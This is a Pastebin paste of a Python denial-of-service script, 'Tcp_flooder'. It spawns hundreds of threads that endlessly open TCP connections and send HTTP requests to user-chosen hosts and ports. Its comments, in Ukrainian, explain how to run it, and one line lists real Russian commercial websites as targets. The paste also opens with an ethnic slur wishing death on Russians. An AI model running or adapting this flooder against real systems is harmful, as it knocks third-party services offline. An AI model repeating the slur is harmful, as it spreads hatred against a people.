ArtemMMM

Tcp_flooder 1.2M1

May 7th, 2022 (edited)
174
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 5.68 KB | None | 0 0
  1. # Good russian - is a dead russian
  2. # Доброго ранку/дня/вечора, ця версія - змінена і модифікована https://pastebin.com/4VHMrSEZ
  3. # Вона має трохи інший принцип роботи, а також зручний вивід
  4. # Буде вдосконалюватись!
  5. # Рекомендована кількість потоків - до 800 на потужних компах, до 400 на слабких
  6. # Можливі неправильні вивідні дані щодо блокади цілі - спочатку інструмент розроблявся для атаки на 1 ціль, тож поки праильно виводити результати роботи щодо кількох цілей не може
  7. # Для нормальної роботи треба встановити ті ж бібліотеки, що й у попередній версії
  8. # ДОДАЛОСЬ:
  9. # Зручніший і точніший вивід
  10. # Читання цілей із файлу, щоб програма це зробила, треба ввести FILE,[filename]
  11. # Тепер програма вміє сама очищати ввід від протоколів, тож можна вводити з http:// та https://
  12. # Потужність значно збільшена. Тепер помилки виникають не так часто, це виправлено
  13.  
  14. # Glory to Ukraine
  15. import os
  16. import random
  17. import sys
  18.  
  19. import requests
  20. from threading import Thread
  21.  
  22. import termcolor
  23. from termcolor import colored
  24. import socket
  25. import colorama
  26.  
  27. # Execute:
  28. # *try each command*
  29. # pip install requests && pip install requests && pip install socket && pip install colorama && pip install threading
  30. # or pip install requests;pip install requests;pip install socket;pip install colorama;pip install threading
  31. import time
  32.  
  33. colorama.init()
  34. state = False
  35. timex = 0
  36. trf = 0
  37. targ_info = []
  38. errs = 0
  39. comm = ""
  40.  
  41.  
  42. def clear_way(raw_str_lst):
  43.     res_c = []
  44.     for raw_str in raw_str_lst:
  45.         res = ""
  46.         for char in raw_str:
  47.             if char == "/":
  48.                 break
  49.             else:
  50.                 res += char
  51.         res_c.append(res)
  52.     return res_c
  53.  
  54.  
  55. def make_request(url):
  56.     requests.get(url)
  57.  
  58.  
  59. def tcp_flood(ipxf, ports):
  60.     global state, timex, trf, errs
  61.     time.sleep(5)
  62.     while True:
  63.         try:
  64.             for ipx in range(len(ipxf)):
  65.                 for port in ports:
  66.                     form = "GET / HTTP 1.0\r\nHost: {0}".format(
  67.                         "http://{0}:{1}\r\nConnection: close".format(ipxf[ipx], port))
  68.                     main_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  69.                     main_sock.connect((ipxf[ipx], port))
  70.                     state = False
  71.                     make_request("http://{0}:{1}".format(ipxf[ipx], port))
  72.                     targ_info[ipx]["Traffic"] += 24
  73.                     targ_info[ipx]["Requests"] += 1
  74.                     while True:
  75.                         try:
  76.                             tm = time.time()
  77.                             main_sock.sendall(form.encode("utf-8"))
  78.                             timex += time.time() - tm
  79.                             timex /= 2
  80.                             trf += len(form)
  81.                             targ_info[ipx]["Traffic"] += len(form)
  82.                             targ_info[ipx]["Requests"] += 1
  83.                         except Exception as e:
  84.                             state = True
  85.                             errs += 1
  86.                     main_sock.close()
  87.         except Exception as e:
  88.             errs += 1
  89.  
  90.  
  91. def get_ips_by_file(fl):
  92.     x = open(fl, 'r')
  93.     raw_s = x.read().split("\n")
  94.     x.close()
  95.     return [e.replace("https://", "").replace("http://", "") for e in raw_s]
  96.  
  97.  
  98. a_thr = 0
  99. ip_raw = input("Хости(через кому): ")
  100. if ip_raw.split(",")[0].lower() != "file":
  101.     ip = clear_way([e.replace("https://", "") for e in ip_raw.split(",")])
  102.     for i in ip:
  103.         targ_info.append({"Host": i, "Requests": 0, "Traffic": 0})
  104. else:
  105.     ip = clear_way(get_ips_by_file(ip_raw.split(",")[1]))
  106.     for i in ip:
  107.         targ_info.append({"Host": i, "Requests": 0, "Traffic": 0})
  108.  
  109.  
  110. prt = [int(i) for i in input("Порти(через кому): ").split(",")]
  111. regularity = int(input(
  112.     "Період оновлення інформації(1 числом, бажано від 5 і більше секунд, не буде сильно навантажувати систему): "))
  113.  
  114. for i in range(1, int(input("Кількість потоків: ")) + 1):
  115.     try:
  116.         thr = Thread(target=tcp_flood, args=(ip, prt))
  117.         thr.start()
  118.         a_thr = i
  119.     except:
  120.         pass
  121. # www.sushi-profi.ru,delikateska.ru,www.chefmarket.ru,fresh-lab.ru,apeti.ru,kostis.ru,cafe-pushkin.ru
  122. up_time = 0
  123. while True:
  124.     os.system('cls' if os.name == 'nt' else 'clear')
  125.     print("_")
  126.     for i in targ_info:
  127.         print("| Хост: " + i["Host"] + "\n| Отриманих запитів: " + str(i["Requests"]) + "\n| Трафіку: " + str(i["Traffic"]))
  128.         print("\n", end='')
  129.     print("_")
  130.     xstr = termcolor.colored('\rПотоки [активні]: ' + str(a_thr) + "\nСередній час відповіді: " + str(timex) +
  131.                              "\nСтан(True - ціль заблокована): " + str(state) + "\nТрафік(в байтах): " + str(trf) + "\nПомилок: " + str(errs),
  132.                              "blue", attrs=["bold"])
  133.     print(xstr)
  134.     print(colored("[ Оновлено ] - {0} раз".format(up_time), "green"))
  135.     up_time += 1
  136.     time.sleep(regularity)
  137.  
Add Comment
Please, Sign In to add comment